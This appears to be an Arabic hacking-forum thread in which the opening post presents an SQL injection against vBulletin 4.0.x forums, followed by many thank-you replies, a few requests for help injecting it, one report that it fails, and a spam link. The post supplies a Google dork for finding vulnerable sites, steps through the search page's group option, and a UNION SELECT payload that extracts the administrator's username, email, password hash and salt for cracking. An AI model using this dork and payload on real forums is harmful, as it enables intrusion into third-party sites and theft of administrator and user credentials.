ثغرة في منتديات الفي بي vBulletin 4.0.x

[millen!um]

السلام عليكم و رحمة الله و بركاته
بسم الله الرحمن الرحيم

إخواني اليوم جايبلكم ثغرة حقن لقواعد البيانات sql injection في منتديات vBulletin الجيل الرابع الإصدارات الأولى 4.0.x

الملف المصاب هو socialgroup.php و سكربت البحث searchtools.php

-----------------------------------------------

نجي للمهم
1- طريقة البحث في العم قوقل ضع هذا الدورك


inurl:"search.php?search_type=1" intext:vbulletin 4

2-إستغلال الثغرة

ستجد الكثير من النتائج في قوقل ادخل على واحدة على سبيل المثال

http://forums.millennium.com/search.php?search_type=1

في منتصف الصفحة فوق خانة الكلمة التي سنبحث عنها اذهب إلى

"Search Multiple Content Types"

ثم ضح صح على خيار groups أو مجموعات

ثم ضع كلمة و ابحث
ثم الحقن يكون كالتالي

UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#


بعد الرابط و النتيجة
ستظهر لنا اليوزر و إيميل و باسوورد الأدمن مشفر و السالت أي نوع التشفير لأنه مهم لنستطيع فك التشفير

ملاحظة " النسخة 4.1.3 vBulletin لا تحوي هذه الثغرة

دمتم بود و السموحة على التقصير

[Ace]

ابداع ولـــــــــــــــــلـــــ ـــــــــــــــــــــــــ ه استمر يا وحـــــــــــــــــــــــ ـــــــــــــــــــــش

[millen!um]

بارك الله فيكم على المرور العطر

[المنتقم السري]

تسلم يا الغالــــــــــــــــــــ ــــــــــــــــــى

[M.ViRus]

بارك الله فيك اخى الكريم

[فارس.فارس]

بارك الله فيك, معلومة كويسة.

[فارس.فارس]

بارك الله فيك ,16,

[salaheddin1]

مشكووووووور اخوي ما قصرت

[أدهم]

http://egytrick.cvom/vb http://egytrick.cvom/vb http://egytrick.cvom/vb http://egytrick.cvom/vb http://egytrick.cvom/vb http://egytrick.cvom/vb http://egytrick.cvom/vb

[أدهم]

ادره تاكل زق هاهاهاهاهاها

[HACKER SYRIAN]

ابــدآع يـأمسـلـم

شـرح واضـح ومـفـهـوم

تم تـقـيـيمـك يـأبـطل

[BACHIRISLAM]

شكرا اخي على الثغرة

[Fiox]

شكرا لك اخي العزيز على الموضوع الجميل

[Fiox]

thaaaaaaaaanxxxxxxxxxxxxxx

[ArsHackEna]

حلو مشكوور

[ابو عايد]

الله يعطيك العافيه مشكووور

[V!RUS]

لم أفهم وين أضع هده

UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#

[عمر البدري]

السلام عليكم
تحية طيبة
ياريت تعطينا درس مرئي واكون لك ممنونا

[king x]

مشكور أخي بس ممكن تشرح كيف أحقن الثغره والله أني أفتهمت بس الى حقن الثغره ما أعرف ممكن تسوي شرح أو عندك طرقه

[امير الحروب]

بارك الله فيكم على المرور العطر

[No FeeL]

شكـــــــــــــرا لك حبيبى

[سمو الامير هكر]

مشكور اخوي علي المعلومات الحلوه

[sunstar]

شكرا لك يعطيك العافية
نرتقب جديدك القادم قريبا

[fayzoun]

الثغرة لا تشتغل أخي

[gastar]

شكرااااااااااااااااا

[leverpol124]

شكرآآآآآآآآآآآآآآآ